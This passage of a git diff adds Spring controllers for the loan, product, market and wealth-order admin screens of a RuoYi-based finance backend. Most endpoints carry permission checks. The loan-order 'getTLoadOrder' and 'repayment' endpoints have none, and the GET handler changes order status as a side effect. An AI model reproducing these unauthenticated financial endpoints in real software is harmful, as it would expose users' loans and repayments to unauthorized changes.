com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.ui.ModelMap; +import org.springframework.web.bind.annotation.*; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TLoadOrder; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 贷款订单Controller + * + * @author ruoyi + * @date 2023-07-14 + */ +@RestController +@RequestMapping("/bussiness/load/order") +public class TLoadOrderController extends BaseController +{ + @Autowired + private ITLoadOrderService tLoadOrderService; + @Resource + private SettingService settingService; + + /** + * 查询贷款订单列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:load/order:list')") + @GetMapping("/list") + public TableDataInfo list(TLoadOrder tLoadOrder) + { + startPage(); + List list = tLoadOrderService.selectTLoadOrderList(tLoadOrder); + return getDataTable(list); + } + + /** + * 导出贷款订单列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:load/order:export')") + @Log(title = "贷款订单", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TLoadOrder tLoadOrder) + { + List list = tLoadOrderService.selectTLoadOrderList(tLoadOrder); + ExcelUtil util = new ExcelUtil(TLoadOrder.class); + util.exportExcel(response, list, "贷款订单数据"); + } + + /** + * 获取贷款订单详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:load/order:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tLoadOrderService.selectTLoadOrderById(id)); + } + + /** + * 新增贷款订单 + */ + @PreAuthorize("@ss.hasPermi('bussiness:load/order:add')") + @Log(title = "贷款订单", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TLoadOrder tLoadOrder) + { + return toAjax(tLoadOrderService.insertTLoadOrder(tLoadOrder)); + } + + /** + * 修改贷款订单 + */ + @PreAuthorize("@ss.hasPermi('bussiness:load/order:edit')") + @Log(title = "贷款订单", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TLoadOrder tLoadOrder) + { + return toAjax(tLoadOrderService.updateTLoadOrder(tLoadOrder)); + } + + /** + * 删除贷款订单 + */ + @PreAuthorize("@ss.hasPermi('bussiness:load/order:remove')") + @Log(title = "贷款订单", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tLoadOrderService.deleteTLoadOrderByIds(ids)); + } + + /** + * 借贷订单list + * @param tLoadOrder + * @return + */ + @PreAuthorize("@ss.hasPermi('bussiness:loadOrder:orderList')") + @GetMapping("/orderList") + public TableDataInfo orderList(TLoadOrder tLoadOrder) { + startPage(); + + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if(!user.isAdmin()){ + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){ + tLoadOrder.setAdminParentIds(String.valueOf(user.getUserId())); + } + } + Setting setting = settingService.get(SettingEnum.LOAD_SETTING.name()); + LoadSetting loadSetting = JSONUtil.toBean(setting.getSettingValue(), LoadSetting.class); + BigDecimal overRwate = loadSetting.getOverdueRate(); + if(StringUtils.isNull(loadSetting.getOverdueRate())){ + overRwate= new BigDecimal("0.025"); + } + List list = tLoadOrderService.selectTLoadOrderList(tLoadOrder); + for (TLoadOrder loadOrder1:list) { + if(Objects.isNull(loadOrder1.getFinalRepayTime())){ + continue; + } + int enddays = DateUtils.daysBetween(loadOrder1.getFinalRepayTime(), new Date()); + //逾期 + if(enddays>0){ + if (loadOrder1.getStatus() == 1) { + loadOrder1.setStatus(4); + tLoadOrderService.updateTLoadOrder(loadOrder1); + loadOrder1.setLastInstets(loadOrder1.getDisburseAmount().multiply(new BigDecimal(enddays)).multiply(overRwate)); + loadOrder1.setDays(enddays); + } + } + if(loadOrder1.getStatus()==4){ + loadOrder1.setLastInstets(loadOrder1.getDisburseAmount().multiply(new BigDecimal(enddays)).multiply(overRwate)); + loadOrder1.setDays(enddays); + } + } + return getDataTable(list); + } + + /** + * 订单审核通过 + * @param tLoadOrder + * @return + */ + @PreAuthorize("@ss.hasPermi('bussiness:loadOrder:passTLoadOrder')") + @PostMapping("/passTLoadOrder") + public AjaxResult passTLoadOrder(@RequestBody TLoadOrder tLoadOrder) { + return tLoadOrderService.passTLoadOrder(tLoadOrder); + } + + + /** + * 拒绝 + */ + @PreAuthorize("@ss.hasPermi('bussiness:loadOrder:refuseTLoadOrder')") + @PostMapping("/refuseTLoadOrder") + public AjaxResult refuseTLoadOrder(@RequestBody TLoadOrder reject) { + reject.setStatus(2); + return AjaxResult.success(tLoadOrderService.updateTLoadOrder(reject)); + } + + /** + * 查看 + * @param id + * @return + */ + @GetMapping("/getTLoadOrder/{id}") + public AjaxResult getTLoadOrder(@PathVariable("id") Long id) { + TLoadOrder tLoadOrder = tLoadOrderService.selectTLoadOrderById(id); + Setting setting = settingService.get(SettingEnum.LOAD_SETTING.name()); + LoadSetting loadSetting = JSONUtil.toBean(setting.getSettingValue(), LoadSetting.class); + BigDecimal overRwate = loadSetting.getOverdueRate(); + if(StringUtils.isNull(loadSetting.getOverdueRate())){ + overRwate= new BigDecimal("0.025"); + } + if(Objects.nonNull(tLoadOrder.getFinalRepayTime())) { + int enddays = DateUtils.daysBetween(tLoadOrder.getFinalRepayTime(), new Date()); + //逾期 + if (enddays > 0) { + if (tLoadOrder.getStatus() == 3) { + tLoadOrder.setStatus(2); + tLoadOrderService.updateTLoadOrder(tLoadOrder); + } + tLoadOrder.setLastInstets(tLoadOrder.getAmount().multiply(new BigDecimal(enddays)).multiply(overRwate)); + } + } + return success(tLoadOrder); + } + + /** + * 还款 + * @param id + * @return + */ + @PostMapping("/repayment") + public AjaxResult repayment(Long id) { + return toAjax(tLoadOrderService.repayment(id)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TLoadProductController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TLoadProductController.java new file mode 100644 index 0000000..78feacd --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TLoadProductController.java @@ -0,0 +1,98 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.TLoadProduct; +import com.ruoyi.bussiness.service.ITLoadProductService; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.*; + +import javax.servlet.http.HttpServletResponse; +import java.util.List; + +/** + * 借贷产品Controller + * + * @author ruoyi + * @date 2023-07-13 + */ +@RestController +@RequestMapping("/bussiness/load/product") +public class TLoadProductController extends BaseController +{ + @Autowired + private ITLoadProductService tLoadProductService; + + /** + * 查询借贷产品列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:load/product:list')") + @GetMapping("/list") + public TableDataInfo list(TLoadProduct tLoadProduct) + { + startPage(); + List list = tLoadProductService.selectTLoadProductList(tLoadProduct); + return getDataTable(list); + } + + /** + * 导出借贷产品列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:load/product:export')") + @Log(title = "借贷产品", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TLoadProduct tLoadProduct) + { + List list = tLoadProductService.selectTLoadProductList(tLoadProduct); + ExcelUtil util = new ExcelUtil(TLoadProduct.class); + util.exportExcel(response, list, "借贷产品数据"); + } + + /** + * 获取借贷产品详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:load/product:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tLoadProductService.selectTLoadProductById(id)); + } + + /** + * 新增借贷产品 + */ + @PreAuthorize("@ss.hasPermi('bussiness:load/product:add')") + @Log(title = "借贷产品", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TLoadProduct tLoadProduct) + { + return toAjax(tLoadProductService.insertTLoadProduct(tLoadProduct)); + } + + /** + * 修改借贷产品 + */ + @PreAuthorize("@ss.hasPermi('bussiness:load/product:edit')") + @Log(title = "借贷产品", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TLoadProduct tLoadProduct) + { + return toAjax(tLoadProductService.updateTLoadProduct(tLoadProduct)); + } + + /** + * 删除借贷产品 + */ + @PreAuthorize("@ss.hasPermi('bussiness:load/product:remove')") + @Log(title = "借贷产品", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tLoadProductService.deleteTLoadProductByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMarketsController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMarketsController.java new file mode 100644 index 0000000..9b38160 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMarketsController.java @@ -0,0 +1,104 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TMarkets; +import com.ruoyi.bussiness.service.ITMarketsService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 支持交易所Controller + * + * @author ruoyi + * @date 2023-06-26 + */ +@RestController +@RequestMapping("/bussiness/markets") +public class TMarketsController extends BaseController +{ + @Autowired + private ITMarketsService tMarketsService; + + /** + * 查询支持交易所列表 + */ + @PreAuthorize("@ss.hasPermi('system:markets:list')") + @GetMapping("/list") + public TableDataInfo list(TMarkets tMarkets) + { + startPage(); + List list = tMarketsService.selectTMarketsList(tMarkets); + return getDataTable(list); + } + + /** + * 导出支持交易所列表 + */ + @PreAuthorize("@ss.hasPermi('system:markets:export')") + @Log(title = "支持交易所", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TMarkets tMarkets) + { + List list = tMarketsService.selectTMarketsList(tMarkets); + ExcelUtil util = new ExcelUtil(TMarkets.class); + util.exportExcel(response, list, "支持交易所数据"); + } + + /** + * 获取支持交易所详细信息 + */ + @PreAuthorize("@ss.hasPermi('system:markets:query')") + @GetMapping(value = "/{slug}") + public AjaxResult getInfo(@PathVariable("slug") String slug) + { + return success(tMarketsService.selectTMarketsBySlug(slug)); + } + + /** + * 新增支持交易所 + */ + @PreAuthorize("@ss.hasPermi('system:markets:add')") + @Log(title = "支持交易所", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TMarkets tMarkets) + { + return toAjax(tMarketsService.insertTMarkets(tMarkets)); + } + + /** + * 修改支持交易所 + */ + @PreAuthorize("@ss.hasPermi('system:markets:edit')") + @Log(title = "支持交易所", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TMarkets tMarkets) + { + return toAjax(tMarketsService.updateTMarkets(tMarkets)); + } + + /** + * 删除支持交易所 + */ + @PreAuthorize("@ss.hasPermi('system:markets:remove')") + @Log(title = "支持交易所", businessType = BusinessType.DELETE) + @DeleteMapping("/{slugs}") + public AjaxResult remove(@PathVariable String[] slugs) + { + return toAjax(tMarketsService.deleteTMarketsBySlugs(slugs)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMineFinancialController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMineFinancialController.java new file mode 100644 index 0000000..e386b86 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMineFinancialController.java @@ -0,0 +1,105 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.bussiness.domain.TMineFinancial; +import com.ruoyi.bussiness.service.ITMineFinancialService; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 理财产品Controller + * + * @author ruoyi + * @date 2023-07-17 + */ +@RestController +@RequestMapping("/bussiness/financial") +public class TMineFinancialController extends BaseController +{ + @Autowired + private ITMineFinancialService tMineFinancialService; + + /** + * 查询理财产品列表 + */ + @PreAuthorize("@ss.hasPermi('system:financial:list')") + @GetMapping("/list") + public TableDataInfo list(TMineFinancial tMineFinancial) + { + startPage(); + List list = tMineFinancialService.selectTMineFinancialList(tMineFinancial); + return getDataTable(list); + } + + /** + * 导出理财产品列表 + */ + @PreAuthorize("@ss.hasPermi('system:financial:export')") + @Log(title = "理财产品", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TMineFinancial tMineFinancial) + { + List list = tMineFinancialService.selectTMineFinancialList(tMineFinancial); + ExcelUtil util = new ExcelUtil(TMineFinancial.class); + util.exportExcel(response, list, "理财产品数据"); + } + + /** + * 获取理财产品详细信息 + */ + @PreAuthorize("@ss.hasPermi('system:financial:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tMineFinancialService.selectTMineFinancialById(id)); + } + + /** + * 新增理财产品 + */ + @PreAuthorize("@ss.hasPermi('system:financial:add')") + @Log(title = "理财产品", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TMineFinancial tMineFinancial) + { + return toAjax(tMineFinancialService.insertTMineFinancial(tMineFinancial)); + } + + /** + * 修改理财产品 + */ + @PreAuthorize("@ss.hasPermi('system:financial:edit')") + @Log(title = "理财产品", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TMineFinancial tMineFinancial) + { + return toAjax(tMineFinancialService.updateTMineFinancial(tMineFinancial)); + } + + /** + * 删除理财产品 + */ + @PreAuthorize("@ss.hasPermi('system:financial:remove')") + @Log(title = "理财产品", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tMineFinancialService.deleteTMineFinancialByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMineOrderController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMineOrderController.java new file mode 100644 index 0000000..65e1f9b --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMineOrderController.java @@ -0,0 +1,131 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.annotation.Resource; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.bussiness.domain.TMineOrder; +import com.ruoyi.bussiness.service.ITMineFinancialService; +import com.ruoyi.bussiness.service.ITMineOrderService; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 理财订单Controller + * + * @author ruoyi + * @date 2023-07-17 + */ +@RestController +@RequestMapping("/bussiness/order") +public class TMineOrderController extends BaseController +{ + @Autowired + private ITMineOrderService tMineOrderService; + @Resource + private ITMineFinancialService tMineFinancialService; + + /** + * 查询理财订单列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:order:list')") + @GetMapping("/list") + public TableDataInfo list(TMineOrder tMineOrder) + { + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if(!user.isAdmin()){ + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){ + tMineOrder.setAdminUserIds(String.valueOf(user.getUserId())); + } + } + startPage(); + List list = tMineOrderService.selectTMineOrderList(tMineOrder); + return getDataTable(list); + } + + /** + * 导出理财订单列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:order:export')") + @Log(title = "理财订单", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TMineOrder tMineOrder) + { + List list = tMineOrderService.selectTMineOrderList(tMineOrder); + ExcelUtil util = new ExcelUtil(TMineOrder.class); + util.exportExcel(response, list, "理财订单数据"); + } + + /** + * 获取理财订单详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:order:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tMineOrderService.selectTMineOrderById(id)); + } + + /** + * 新增理财订单 + */ + @PreAuthorize("@ss.hasPermi('bussiness:order:add')") + @Log(title = "理财订单", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TMineOrder tMineOrder) + { + return toAjax(tMineOrderService.insertTMineOrder(tMineOrder)); + } + + /** + * 修改理财订单 + */ + @PreAuthorize("@ss.hasPermi('bussiness:order:edit')") + @Log(title = "理财订单", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TMineOrder tMineOrder) + { + return toAjax(tMineOrderService.updateTMineOrder(tMineOrder)); + } + + /** + * 删除理财订单 + */ + @PreAuthorize("@ss.hasPermi('bussiness:order:remove')") + @Log(title = "理财订单", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tMineOrderService.deleteTMineOrderByIds(ids)); + } + + @PreAuthorize("@ss.hasPermi('bussiness:order:reCall')") + @Log(title = "理财赎回", businessType = BusinessType.UPDATE) + @PutMapping("/reCall") + public AjaxResult reCall(String id) { + String msg = tMineFinancialService.reCall(id); + if(StringUtils.isNotBlank(msg)){ + return AjaxResult.error(msg); + } + return AjaxResult.success(); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMineOrderDayController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMineOrderDayController.java new file mode 100644 index 0000000..91f30ba --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMineOrderDayController.java @@ -0,0 +1,106 @@ +package com.ruoyi.web.controller.bussiness; + +import java.math.BigDecimal; +import java.util.List; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.bussiness.domain.TMineOrderDay; +import com.ruoyi.bussiness.service.ITMineOrderDayService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 理财每日结算Controller + * + * @author ruoyi + * @date 2023-07-17 + */ +@RestController +@RequestMapping("/bussiness/day") +public class TMineOrderDayController extends BaseController +{ + @Autowired + private ITMineOrderDayService tMineOrderDayService; + + /** + * 查询理财每日结算列表 + */ + @PreAuthorize("@ss.hasPermi('system:day:list')") + @GetMapping("/list") + public TableDataInfo list(TMineOrderDay tMineOrderDay) + { + startPage(); + List list = tMineOrderDayService.selectTMineOrderDayList(tMineOrderDay); + return getDataTable(list); + } + + /** + * 导出理财每日结算列表 + */ + @PreAuthorize("@ss.hasPermi('system:day:export')") + @Log(title = "理财每日结算", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TMineOrderDay tMineOrderDay) + { + List list = tMineOrderDayService.selectTMineOrderDayList(tMineOrderDay); + ExcelUtil util = new ExcelUtil(TMineOrderDay.class); + util.exportExcel(response, list, "理财每日结算数据"); + } + + /** + * 获取理财每日结算详细信息 + */ + @PreAuthorize("@ss.hasPermi('system:day:query')") + @GetMapping(value = "/{amount}") + public AjaxResult getInfo(@PathVariable("amount") BigDecimal amount) + { + return success(tMineOrderDayService.selectTMineOrderDayByAmount(amount)); + } + + /** + * 新增理财每日结算 + */ + @PreAuthorize("@ss.hasPermi('system:day:add')") + @Log(title = "理财每日结算", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TMineOrderDay tMineOrderDay) + { + return toAjax(tMineOrderDayService.insertTMineOrderDay(tMineOrderDay)); + } + + /** + * 修改理财每日结算 + */ + @PreAuthorize("@ss.hasPermi('system:day:edit')") + @Log(title = "理财每日结算", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TMineOrderDay tMineOrderDay) + { + return toAjax(tMineOrderDayService.updateTMineOrderDay(tMineOrderDay)); + } + + /** + * 删除理财每日结算 + */ + @PreAuthorize("@ss.hasPermi('system:day:remove')") + @Log(title = "理财每日结算", businessType = BusinessType.DELETE) + @DeleteMapping("/{amounts}") + public AjaxResult remove(@PathVariable BigDecimal[] amounts) + { + return toAjax(tMineOrderDayService.deleteTMineOrderDayByAmounts(amounts)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMineUserController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMineUserController.java new file mode 100644 index 0000000..5c0cf89 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMineUserController.java @@ -0,0 +1,105 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.bussiness.domain.TMineUser; +import com.ruoyi.bussiness.service.ITMineUserService; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 【请填写功能名称】Controller + * + * @author ruoyi + * @date 2023-07-17 + */ +@RestController +@RequestMapping("/bussiness/mine/user") +public class TMineUserController extends BaseController +{ + @Autowired + private ITMineUserService tMineUserService; + + /** + * 查询【请填写功能名称】列表 + */ + @PreAuthorize("@ss.hasPermi('system:user:list')") + @GetMapping("/list") + public TableDataInfo list(TMineUser tMineUser) + { + startPage(); + List list = tMineUserService.selectTMineUserList(tMineUser); + return getDataTable(list); + } + + /** + * 导出【请填写功能名称】列表 + */ + @PreAuthorize("@ss.hasPermi('system:user:export')") + @Log(title = "【请填写功能名称】", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TMineUser tMineUser) + { + List list = tMineUserService.selectTMineUserList(tMineUser); + ExcelUtil util = new ExcelUtil(TMineUser.class); + util.exportExcel(response, list, "【请填写功能名称】数据"); + } + + /** + * 获取【请填写功能名称】详细信息 + */ + @PreAuthorize("@ss.hasPermi('system:user:query')") + @GetMapping(value = "/{userId}") + public AjaxResult getInfo(@PathVariable("userId") Long userId) + { + return success(tMineUserService.selectTMineUserByUserId(userId)); + } + + /** + * 新增【请填写功能名称】 + */ + @PreAuthorize("@ss.hasPermi('system:user:add')") + @Log(title = "【请填写功能名称】", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TMineUser tMineUser) + { + return toAjax(tMineUserService.insertTMineUser(tMineUser)); + } + + /** + * 修改【请填写功能名称】 + */ + @PreAuthorize("@ss.hasPermi('system:user:edit')") + @Log(title = "【请填写功能名称】", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TMineUser tMineUser) + { + return toAjax(tMineUserService.updateTMineUser(tMineUser)); + } + + /** + * 删除【请填写功能名称】 + */ + @PreAuthorize("@ss.hasPermi('system:user:remove')") + @Log(title = "【请填写功能名称】", businessType = BusinessType.DELETE) + @DeleteMapping("/{userIds}") + public AjaxResult remove(@PathVariable Long[] userIds) + { + return toAjax(tMineUserService.deleteTMineUserByUserIds(userIds)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMingOrderController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMingOrderController.java new file mode 100644 index 0000000..2ef13b8 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMingOrderController.java @@ -0,0 +1,116 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TMingOrder; +import com.ruoyi.bussiness.service.ITMingOrderService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * mingController + * + * @author ruoyi + * @date 2023-08-18 + */ +@RestController +@RequestMapping("/bussiness/ming/order") +public class TMingOrderController extends BaseController +{ + @Autowired + private ITMingOrderService tMingOrderService; + + /** + * 查询ming列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:order:list')") + @GetMapping("/list") + public TableDataInfo list(TMingOrder tMingOrder) + { + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if(!user.isAdmin()){ + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){ + tMingOrder.setAdminUserIds(String.valueOf(user.getUserId())); + } + } + startPage(); + List list = tMingOrderService.selectTMingOrderList(tMingOrder); + return getDataTable(list); + } + + /** + * 导出ming列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:order:export')") + @Log(title = "ming", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TMingOrder tMingOrder) + { + List list = tMingOrderService.selectTMingOrderList(tMingOrder); + ExcelUtil util = new ExcelUtil(TMingOrder.class); + util.exportExcel(response, list, "ming数据"); + } + + /** + * 获取ming详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:order:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tMingOrderService.selectTMingOrderById(id)); + } + + /** + * 新增ming + */ + 